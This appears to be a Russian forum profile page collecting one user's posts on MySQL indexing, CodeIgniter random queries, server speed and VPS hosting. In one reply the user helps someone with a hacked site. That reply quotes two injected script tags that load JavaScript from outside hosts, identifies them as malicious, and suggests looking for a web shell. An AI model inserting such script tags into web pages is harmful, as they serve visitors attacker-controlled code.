ishipilov

ishipilov
Рейтинг
101
Регистрация
25.12.2011
Должность
Аналитик
Интересы
Инвестиции
Аналитик

так они же вроде как закрываются.

проставил индексы, сайт действительно стал грузиться как ракета. Раньше не придавал им значения (дурная привычка сначала что-то делать а уже потом читать документацию :) ).

По поводу ORDER BY RAND() - сам не составляю SQL запрос, делаю через CI

function items($num,$catid)

{
$this->db->where('categoryId',$catid);
$this->db->limit($num);
$this->db->order_by('id','random');
$query = $this->db->get('items');
return $query->result_array();
}

вероятно CI использует ORDER BY RAND(), так что учту.

В общем ответы на вопросы я нашел, всем кому смог плюсанул, тему можно закрывать.

ах да, и за флуд тоже спасибо 🍿

SeVlad:
Присоединяюсь ко всему вышесказанному и добавлю - откуда такая уверенность, что проблема в БД?

есть аналогичные сайты с БД менее 10 МБ. грузятся очень быстро.

По поводу того что 100 МБ - это БД малютка, то лично я с такими в первый раз столкнулся.

в БД есть одна большая таблица с описаниями товаров (их там около 130к) размером в 100MB.

структура:

id	int(11)

original_id int(11)
name text
url text
currencyId varchar(5)
picture text
thumbnail text
description text
model text
price float
vendor text
categoryId int(11)

Собственно основная работа идет с ней (2 запроса - сначала описание конкретного товара, потом "похожие товары" рандомно из той же категории). Очень много типов text, но не был уверен в размере varchar, поэтому выбрал его (возможно в этом проблема?). Выборка идет по id и categoryId.

q_metainfo, собственно и спрашиваю по поводу конфигурации. Посоветуете ссылочки/литературку?? и в каком направлении копать?

И еще. сравнил скорости отдачи на локалке (денвер) и сервере - разница существенна (1сек/5сек). т.е. подозреваю что причина все-таки в производительности/конфигурации сервера.

насчет кэша - спасибо, сделал, помогло. Но все равно хотелось бы чтобы странички даже при первом вызове грузились быстрее.

Sandro079:
Пользуйтесь лиц. DLE, практически непробиваема перед шеллами. А версия джомлы роли не играет, все равно много уязвимостей

если шелл стоит на сайте, то ему по барабану что за движок - он сам себе хозяин. 🍿

ТС, вам нужно искать шелл, по другому никак.

а давно обновляли браузер?

значит он добавляется посредтвом js скрипта.

В самом начале перед тегом "<!DOCTYPE html " у вас идет:

<nofollow><script language='JavaScript' src=http://f5uygunx71.bestfree.pw/infob.php?i=25659></script></nofollow>

по этой ссылке как раз и идет скрипт со ставкой пустого айфрейма.

подозреваю что это вирусный код, раньше там было чтото вредоносное (или будет в будущем).

Короче, удаляйте его.

если этот код добавили не вы, значит у вас на сайте гдето шелл стоит.

я так понял вот этот скрипт:

<script type="text/javascript" src="http://more152.net/red.php?s=2398174020"></script>

хотя у меня он почемуто не загружается.

kbv79:
Даже один 1PS и XAP еще живы )))
Так же как и куча других неэффективных инструментов.

так это все проклятый маркетинг. или умение продать то что людям не нужно. 🍿

По поводу того почему нужен новый хостинг: я немного параноик, поэтому когда упал спринтхост вместе со всеми клиентскими серверами это меня смутило. Мне нужна какая-то альтернатива, чтобы в случае чего я бы мог развернуться на другой проверенной площадке. Диверсификация так сказать.

переносить старые проекты на новый хостинг не требуется, т.к. на новом будут новые проекты, для которых нужен свой IP.

в фаствпс у меня самый дешевый тариф + ISP manager.

Мне достаточно будет 400-1000 МГц, 300-1000 мб оперы и 3-10Гб диск.

Всего: 511